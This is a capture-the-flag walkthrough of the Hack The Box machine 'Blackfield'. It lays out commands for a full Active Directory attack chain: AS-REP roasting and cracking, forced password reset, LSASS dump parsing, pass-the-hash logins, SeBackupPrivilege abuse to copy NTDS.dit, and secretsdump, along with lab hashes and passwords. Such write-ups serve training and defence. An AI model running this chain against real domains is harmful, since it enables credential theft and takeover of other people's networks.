Introduction
In this Post, You will learn how to CTF blackfield from hackthebox and If you have any doubts comment down below I will help you 👇🏾
Blackfield is a 40-point machine on Hack the Box that you need to tackle by capitalizing on some slip-ups made after a recent computer forensic investigation.
The investigation left behind files containing valuable insights into the machine, typically uncovered during digital forensics work.
Among these files was a dump of LSASS, which holds significant information. While gaining access to system dumps might have been pointless if all passwords were changed, that wasn’t the case here.
To gain system access on the machine, I exploited the SEBackupPrivilege to obtain a copy of NTDS.dit and then parsed it to acquire Administrator hashes.
Hacking Phases in Blackfield
Initial foothold:
- Identify valid domain users.
- Perform AS-REP Roasting attack.
- Force a password change for a user. Example: Changing “audit2020” to “svc_backup”.
Escalate privileges:
- Extract the password from the dump file. Example: Extracting the password from “svc_backup” to “Administrator”.
- Abuse backup privilege to extract NTDS.DIT and system hive.
- Extract domain hashes using secretsdump.
Let’s Begin
Hey you ❤️ Please check out my other posts, You will be amazed and support me by following on youtube.
Let’s Hack Blackfield HTB 😌
https://www.youtube.com/@techyrick-/videos
Scanning
I begin by using Masscan to identify open ports on the machine.
sudo masscan -p1-65535,U:1-65535 10.10.10.192 --rate=1000 -e tun0
Here are the results obtained:
Discovered open port 389/tcp on 10.10.10.192 Discovered open port 53/udp on 10.10.10.192 Discovered open port 445/tcp on 10.10.10.192 Discovered open port 5985/tcp on 10.10.10.192 Discovered open port 53/tcp on 10.10.10.192 Discovered open port 593/tcp on 10.10.10.192 Discovered open port 135/tcp on 10.10.10.192 Discovered open port 3268/tcp on 10.10.10.192 Discovered open port 88/tcp on 10.10.10.192
Based on the open ports, it’s highly probable that I’m dealing with a domain controller. I can save the output to a file and then parse it to extract only the port numbers.
Next, I run Nmap to gather more information about the open ports.
The results from Nmap didn’t provide much information or reveal any vulnerabilities immediately. To delve deeper into domain-related details, I utilized ldapsearch. Here’s a summary of the process:
DOMAIN: Blackfield FQDN: Blackfield.local DC: DC01.blackfield.local
SMB Enumeration
I attempt to enumerate if there are any interesting SMB shares available.
smbclient -L 10.10.10.192
Non-default shares discovered include “forensic” and “profile$”. I proceed to inspect the contents of the “forensic” share, but encounter insufficient permissions. I then turn to investigate the other share.
Recognizing that the share name “profile$” follows the format of F.LastName, which is commonly used for usernames in Active Directory, I compile these names into a single file to verify their validity.
Username Enumeration
I can enumerate valid usernames using Kerbrute, which essentially exploits how Kerberos responds to determine if a user is valid.
kerbrute_linux_386 userenum --dc 10.10.10.192 -d blackfield.local users.txt --safe -v
Eventually, only three out of 314 usernames are found to be valid.
Alternatively, I can utilize an auxiliary module from Metasploit to achieve the same outcome.
msf5 auxiliary(gather/kerberos_enumusers) >
This approach would yield identical results, but Kerbrute or Impacket’s GetNPUsers.py are considered more stable options.
So, there are only three valid users:
audit2020 svc_backup support
AS-REP Roasting
Next, I checked if any of these users are vulnerable to AS-REP Roasting, a technique previously discussed in my Forest writeup. I employed Impacket’s GetNPUsers.py for this purpose.
GetNPUsers.py blackfield.local/ -usersfile real-users.txt -dc-ip 10.10.10.192
As the user “support” is vulnerable, the Domain Controller provides us with a Ticket Granting Service (TGS), which we can attempt to crack in order to obtain its plaintext password.
[-] User audit2020 doesn't have UF_DONT_REQUIRE_PREAUTH set $krb5asrep$23$support@BLACKFIELD.LOCAL:e6dfe911ddb2bd2631db466196100954$360cd4940e6f7b574aa0a1cadde4a74dd1320b85cd9d043c14260c62558fc409a4b0015132514b3e5aca159bed53c2716ac70da1abc8b8657d959450ad1e69eca2d51209157c977183b1b0465545f9f5dc3a70d00c0c2f713010a5fcba856615f671896f181709a581273c4f85214205ca84760a4650eebd545b62d7562a8a62c2f39d3a502a4411390df2f7cc5abe997fa06e384500925d5486bbba4aa5c4279d28560905434d99d30ba70dec2b237302ac3d32cfca19e9065a6a0544d9be93c6c034820293557679531fcbd2cebdef926630833716e4b658a43b573bd4d018c53d7083213f6c45f524ab327163f71bb05e6277 [-] User svc_backup doesn't have UF_DONT_REQUIRE_PREAUTH set
Using hashcat, the TGS is cracked.
hashcat -m 18200 support.hash /usr/share/wordlists/rockyou.txt ..<snip>.. $krb5asrep$23$support@BLACKFIELD.LOCAL:e6dfe911ddb2bd2631db466196100954$360cd4940e6f7b574aa0a1cadde4a74dd1320b85cd9d043c14260c62558fc409a4b0015132514b3e5aca159bed53c2716ac70da1abc8b8657d959450ad1e69eca2d51209157c977183b1b0465545f9f5dc3a70d00c0c2f713010a5fcba856615f671896f181709a581273c4f85214205ca84760a4650eebd545b62d7562a8a62c2f39d3a502a4411390df2f7cc5abe997fa06e384500925d5486bbba4aa5c4279d28560905434d99d30ba70dec2b237302ac3d32cfca19e9065a6a0544d9be93c6c034820293557679531fcbd2cebdef926630833716e4b658a43b573bd4d018c53d7083213f6c45f524ab327163f71bb05e6277:#00^BlackKnight
Now that I have a password for the user “support,” I now possess one valid domain credential.
In Active Directory environments, having access to one valid credential enables you to enumerate and gather a plethora of information about the domain. I utilized ldapsearch to continue the enumeration process.
ldapsearch -x -h 10.10.10.192 -D 'BLACKFIELD\support' -w '#00^BlackKnight' -b "DC=BLACKFIELD,DC=LOCAL"
I didn’t include the output here to keep it concise, but I wanted to demonstrate how you can enumerate using ldapsearch.
The reason is that ldapsearch reveals attributes that ldapdomaindump doesn’t include in its output.
However, ldapdomaindump is more visually appealing and easier to work with. To streamline the process, I utilize ldapdomaindump to collect information about the domain.
ldapdomaindump ldap://10.10.10.192 -u "BLACKFIELD\support" -p "#00^BlackKnight" --no-json --no-grep -o ldapdomaindump [*] Connecting to host... [*] Binding to host [+] Bind OK [*] Starting domain dump [+] Domain dump finished
Reviewing the domain_users.html file, I found a mention of the machine creator (kudos, this box is great) and details about the svc_backup user being a member of the Remote Management Users group.
This indicates that the user can utilize PowerShell Remoting to execute commands on the machine.
Upon examining information about the other two valid users, it’s apparent that DONT_REQ_PREAUTH is enabled for the support user. This is the reason why it is vulnerable to AS-REP Roasting.
Furthermore, since I have a valid domain user, I can utilize Bloodhound to gain deeper insights into the domain.
While I don’t yet have code execution on the machine, I can’t use the SharpHound ingestor (since I’m not on a domain-joined Windows machine), but it’s still possible using a Linux box by enabling Kerberos communication.
Alternatively, there is a Python3-based ingestor available, which should suffice for now.
bloodhound-python -u support -p "#00^BlackKnight" -ns 10.10.10.192 -d blackfield.local -c all
After loading the data into the Bloodhound GUI, it appears that the support user has the ability to force a password change for the user “audit2020”.
This level of control where one user can affect another is quite common, especially in helpdesk or support roles, where personnel often have the capability to reset user passwords due to frequent password forgetfulness.
Clicking on “help”:
The user SUPPORT@BLACKFIELD.LOCAL has the capability to change the user AUDIT2020@BLACKFIELD.LOCAL's password without knowing that user's current password.
Additionally, the svc_backup user is a member of the Backup Operators group, which is a privileged group that can be exploited to obtain a copy of the NTDS.dit file, where domain hashes are stored.
From here, it seems that this privilege escalation could potentially lead to obtaining Administrator access.
Force Password Reset
Since the abuse information on Bloodhound necessitates Powershell and some form of code execution on any of the domain-joined machines, I sought alternative methods to accomplish this from a Linux machine and found this resource: https://malicious.link/post/2017/reset-ad-user-password-with-linux/
From the blog itself, I can reset the password using rpcclient. To establish a connection:
rpcclient -U support 10.10.10.192
After entering the password, I proceeded with the following steps:
I received an “access_denied” error when attempting to change the password of svc_backup. However, I succeeded in changing the password of audit2020 to ‘password123!’.
Next, I used crackmapexec to verify if the credentials work over SMB.
cme smb 10.10.10.192 -u audit2020 -p 'password123!' -d blackfield.local
It’s successful, and I’ve gained READ access to the forensic share, a privilege that the user support doesn’t possess.
Extracting to Credentials
I then use smbclient to enumerate the folders under the forensic share.
Realizing that there might be interesting files present, I attempted to download them.
smbclient "\\\\10.10.10.192\\forensic" -c "prompt;recurse;mget *" -U=audit2020 Enter WORKGROUP\audit2020's password: getting file \commands_output\domain_admins.txt of size 528 as domain_admins.txt (0.4 KiloBytes/sec) (average 0.4 KiloBytes/sec) getting file \commands_output\domain_groups.txt of size 962 as domain_groups.txt (0.8 KiloBytes/sec) (average 0.6 KiloBytes/sec) getting file \commands_output\domain_users.txt of size 16454 as domain_users.txt (16.9 KiloBytes/sec) (average 5.1 KiloBytes/sec) ..<snip>..
I believe these files could be the output of certain Volatility modules or commands, but I can’t be certain. I then attempted to read one of the files, but interestingly, it was detected as a binary file.
I recalled that PowerShell utilizes UTF-16 encoding, which doesn’t align with Linux. So, perhaps these files originated from a PowerShell script? Going forward, they can be read using iconv.
iconv -f utf-16 -t utf-8 domain_admins.txt
The output would be:
The credentials aren’t valid. These files are from a computer forensic analysis, revealing that the Administrator user was compromised and its password was altered.
It’s important to note that these files are from a previous state of the machine, as part of a forensic investigation.
Among them, there are intriguing files on the forensic share. Particularly, the lsass.zip file catches attention, likely holding a dump of the lsass.exe process from the time of extraction. However, I faced some difficulties when attempting to download it.
I then attempted various options that are easily searchable, but managed to make it work using smbget, which is similar to wget but for SMB.
smbget smb://10.10.10.192/forensic/memory_analysis/lsass.zip -U=audit2020%password123\!
Inspecting the contents of lsass.zip using 7z:
Inside, there’s a file named lsass.DMP. Subsequently, I utilize pypykatz to analyze the dump file.
pypykatz lsa minidump /home/sif0/htb/boxes/Blackfield-10.10.10.192/forensic-share/lsass.DMP
Right away, I obtain a hash for svc_backup.
There’s also a hash for the Administrator user, but it’s likely not valid anymore.
Because svc_backup is a member of the Remote Management Users group, I attempt to utilize the obtained hash to enable PowerShell Remoting via Evil-WinRM.
evil-winrm -i 10.10.10.192 -u svc_backup -H '9658d1d1dcd9250115e2205d9f48400d'
I successfully log in.
I proceed to verify if I already have access to user.txt, and it seems that I do.
svc_backup -> Administrator
Next, I check for interesting files under the C:\users\ directory.
*Evil-WinRM* PS C:\Users\svc_backup\Documents> gci C:\users\ -recurse -force -depth 3
It’s intriguing that I have access to the folders under C:\Users\Administrator.
Additionally, it appears that the C:\Users\Administrator\Documents\forensic directory is mounted as the forensic share via SMB. Furthermore, there is a watcher.ps1 file present. However, I don’t currently have the necessary privileges to read it, but I’ll investigate it later.
When attempting to read root.txt, I encounter a permission denied error.
I also attempted to copy notes.txt, but encountered an access denied error.
*Evil-WinRM* PS C:\Users\svc_backup\Documents> copy c:\users\administrator\desktop\notes.txt .
Access to the path 'C:\users\administrator\desktop\notes.txt' is denied.
At line:1 char:1
+ copy c:\users\administrator\desktop\notes.txt .
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : PermissionDenied: (C:\users\administrator\desktop\notes.txt:FileInfo) [Copy-Item], UnauthorizedAccessException
+ FullyQualifiedErrorId : CopyFileInfoItemUnauthorizedAccessError,Microsoft.PowerShell.Commands.CopyItemCommand
Then I recall that the svc_backup user is a member of the Backup Operators group, which likely has the SEBackupPrivilege enabled. I verify this using whoami /priv.
Abusing SEBackupPrivilege
I’ve performed this abuse previously on the Multimaster machine, so it’s not new to me.
This can be accomplished by creating a shadow copy of NTDS.dit using the signed binary diskshadow. First, create a text file named script.txt containing the following:
set context persistent nowriters set metadata c:\windows\system32\spool\drivers\color\example.cab set verbose on begin backup add volume c: alias mydrive create expose %mydrive% w: end backup }
Next, run diskshadow, providing the script file as input.
diskshadow /s script.txt
I then utilize this repository to copy the created shadow copy of NTDS.dit, following the steps outlined in the repository. Since I am using Evil-WinRM, I can easily use its upload functionality.
upload SeBackupPrivilegeCmdLets.dll c:\users\svc_backup\music\ upload SeBackupPrivilegeUtils.dll c:\users\svc_backup\music\
Then, I can import the two files.
To check if everything is functioning properly, I initially attempt to transfer notes.txt.
copy-filesebackupprivilege C:\users\administrator\desktop\notes.txt .\notes.txt -overwrite
Now, I proceed to read its contents:
Mates, After the domain compromise and computer forensic last week, auditors advised us to: - change every passwords -- Done. - change krbtgt password twice -- Done. - disable auditor's account (audit2020) -- KO. - use nominative domain admin accounts instead of this one -- KO. We will probably have to backup & restore things later. - Mike. PS: Because the audit report is sensitive, I have encrypted it on the desktop (root.txt)
According to the notes, they hadn’t finished disabling the audit2020 account, which led to access to the forensic share.
Now, I attempt to copy root.txt.
*Evil-WinRM* PS C:\Users\svc_backup\music> copy-filesebackupprivilege C:\users\administrator\desktop\root.txt .\root.txt -overwrite Opening input file. - Access is denied. (Exception from HRESULT: 0x80070005 (E_ACCESSDENIED)) At line:1 char:1 + copy-filesebackupprivilege C:\users\administrator\desktop\root.txt .\ ... + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : NotSpecified: (:) [Copy-FileSeBackupPrivilege], Exception + FullyQualifiedErrorId : System.Exception,bz.OneOEight.SeBackupPrivilege.Copy_FileSeBackupPrivilege
Still unable to copy root.txt as it is encrypted and likely can only be read on the Desktop. Continuing with the SEBackupPrivilege abuse, I still need to transfer NTDS.dit and also need to dump the SYSTEM hive.
Copy-FileSeBackupPrivilege w:\windows\NTDS\ntds.dit c:\users\svc_backup\music\ntds.dit -Overwrite C:\Users\svc_backup\music> reg save HKLM\SYSTEM c:\users\svc_backup\music\system.hive The operation completed successfully.
Now, I can download the NTDS.dit and system.hive files using Evil-WinRM’s download feature. Afterwards, I’ll utilize Impacket’s secretsdump.py to parse NTDS.dit.
secretsdump.py LOCAL -system system.hive -ntds ntds.dit -outputfile secretsdump.out
Next, I retrieve the hashes.
Now, I can use PowerShell Remoting to log in as the Administrator user and read root.txt.
evil-winrm -i 10.10.10.192 -u administrator -H 184fb5e5178480be64824d4cd53b99ee
Alternatively, I can use crackmapexec to perform code execution.
cme smb 10.10.10.192 -u administrator -H 184fb5e5178480be64824d4cd53b99ee -d blackfield.local -x "whoami"
I also check the watcher.ps1 script.
The script executes every 30 seconds, employing Start-Sleep (where “sleep” is just an alias), and encrypts root.txt via PowerShell Remoting.
Conclusion
In summary:
- Disable the “do not require pre-auth” setting in Kerberos (resulting in access to the support user).
- Disable accounts used for computer forensic/auditing (resulting in the discovery of the user account audit2020).
- After compromise and with all domain credentials exposed, change passwords for ALL user accounts, particularly highly privileged ones (resulting in access to the svc_backup user).
That concludes my write-up. I hope you found it informative! Thank you for reading! 🍺
